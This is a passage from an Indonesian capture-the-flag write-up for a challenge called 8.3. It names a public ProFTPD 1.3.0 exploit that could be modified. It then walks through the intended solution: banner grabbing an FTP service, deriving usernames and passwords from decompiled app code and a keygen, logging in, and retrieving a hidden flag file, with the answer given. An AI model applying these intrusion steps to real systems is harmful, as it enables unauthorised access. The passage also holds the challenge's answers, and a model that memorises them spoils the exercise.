modifikasi kode eksploit yang tersedia di publik saat ini akibat adanya perbedaan versi sistem operasi yang digunakan dengan challenge 8.3 (versi OS ini di-hint melalui pesan error 404 Apache yang ada di port 8080 server yang sama). Jadi sesuai tujuan di atas, diharapkan memang peserta yang lebih teliti dalam melakukan analisa dan tidak segera lompat ke kesimpulan lah, yang akan dapat menyelesaikan challenge 8.3 ini dengan lebih cepat.Selanjutnya, di bawah ini adalah cara penyelesaian challenge 8.3 alternatif kedua. Yang ingin menguji alternatif pertama, bisa menginstall sendiri proftpd 1.3.0 di atas Ubuntu 12.04 LTS, membuat akun pengguna ftp yang memiliki hak tulis ke home direktori, lalu coba memodifikasi eksploit terkait dari Metasploit. Hanya saja mungkin perlu diketahui bahwa untuk alternatif pertama tersebut, tim internal kami sendiri belum sempat mengetes modifikasi eksploit tersebut karena keterbatasan waktu, so bagi yang berminat kami ucapkan good luck and have fun ;)SkenarioAnalisis terhadap bukti-bukti digital yang ada menunjukkan bahwa alamat yang Anda temukan sebelumnya (IP: 182.253.226.158 Port: 45371) seringkali digunakan sebagai titik awal serangan yang dilakukan oleh tim hacker.ChallengeAnda ditugaskan untuk menyusup ke sistem tersebut dan mencari tahu identitas sesungguhnya (flag) dari ketua tim hacker.SolusiKita cek dahulu service apa yang berjalan di IP dan Port tersebut $ telnet 182.253.226.158 45371 Trying 182.253.226.158... Connected to 192.168.9.145. Escape character is '^]'. 220 ProFTPD 1.3.0 Server (ProFTPD Default Installation) [192.168.15.150] Disini terdapat user anonymous yang diberi hak akses tetapi hanya read-only saja dan tidak ada yang penting di home directory-nya. Untuk mendapatkan username yang benar, kita harus balik lagi ke misi 8a. Source code yang sudah kita dapat sangat berguna sekali disini, yaitu fungsi Utils.b(). Dengan menyertakan input yang benar, maka kita akan mendapatkan username dan password sekaligus.Untuk input fungsi ini bisa kita dapatkan di class FormActivity, yaitu pada bagian deklarasi variabel arrayOfByte1-arrayOfByte5.

Ketika kita konversi data byte ini ke dalam bentuk String, maka akan menghasilkan lima nama alias anggota hacker. Nama-nama alias tersebut adalah: algebra farabi euler gauss DescartesKelima alias tersebut dapat digunakan untuk login ke server ftp dengan menggunakan password dari output keygen yang kita miliki. Jika kita mencoba semua user tersebut untuk login menggunakan password yang kita dapat, kita akan menyadari bahwa user euler akan gagal login. Clue password untuk user euler terletak pada file .profile di home directory user lainnya. Isi dari file .profile adalah sbb # ~/.profile: executed by the command interpreter for login shells. # This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login # exists. # see /usr/share/doc/bash/examples/startup-files for examples. # the files are located in the bash-doc package. # the default umask is set in /etc/profile; for setting the umask # for ssh logins, install and configure the libpam-umask package. #umask 022 # if running bash if [ -n "$BASH_VERSION" ]; then # include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi # set PATH so it includes user's private bin if it exists if [ -d "$HOME/bin" ] ; then PATH="$HOME/bin:$PATH" fi # remember guys, euler's seed is the table header of our admin forum page :p

Dijelaskan bahwa seed password untuk euler berada pada table header admin forum mereka, yaitu Target Host/IP.

Kita dapat manfaatkan lagi fungsiUtils.b() yang kita punya untuk men-generate password euler dengan input Target Host/IP.Sekarang kita login ke server ftp mereka menggunakan user euler dan password 1dc2952eb0fbade275aaaef24e787ff8. Setelah kita berhasil login, kita download flag yang berada di file .FLAG.TXT. File ini pada dasarnya tersembunyi, sehingga harus memakai perintah ls -a untuk dapat melihatnya. Untuk men-download file ini, gunakan perintah get .FLAG.TXT

Sekarang buka file tersebut dengan text editor apapun untuk mengetahui siapa dalang dibalik penyerangan aplikasi Pemilu kemarin.

Flag yang benar untuk misi 8.3 ini adalah hartati&sunardi ;)